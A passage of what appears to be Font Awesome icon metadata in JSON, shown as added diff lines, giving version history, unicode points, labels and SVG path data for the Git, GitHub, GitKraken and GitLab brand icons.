111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z" + } + }, + "free": [ + "solid" + ] + }, + "git": { + "changes": [ + "4.1", + "5.0.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d3", + "label": "Git", + "voted": false, + "svg": { + "brands": { + "last_modified": 1563977084863, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z" + } + }, + "free": [ + "brands" + ] + }, + "git-alt": { + "changes": [ + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f841", + "label": "Git Alt", + "svg": { + "brands": { + "last_modified": 1563977084862, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z" + } + }, + "free": [ + "brands" + ] + }, + "git-square": { + "changes": [ + "4.1", + "5.0.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d2", + "label": "Git Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1563977084863, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z" + } + }, + "free": [ + "brands" + ] + }, + "github": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "octocat" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f09b", + "label": "GitHub", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860992, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z" + } + }, + "free": [ + "brands" + ] + }, + "github-alt": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "octocat" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f113", + "label": "Alternate GitHub", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860991, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z" + } + }, + "free": [ + "brands" + ] + }, + "github-square": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "octocat" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f092", + "label": "GitHub Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860991, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z" + } + }, + "free": [ + "brands" + ] + }, + "gitkraken": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3a6", + "label": "GitKraken", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860992, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 592 512\"><path d=\"M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "592", + "512" + ], + "width": 592, + "height": 512, + "path": "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z" + } + }, + "free": [ + "brands" + ] + }, + "gitlab": { + "changes": [ + "4.6", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Axosoft" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f296", + "label": "GitLab", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633724, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 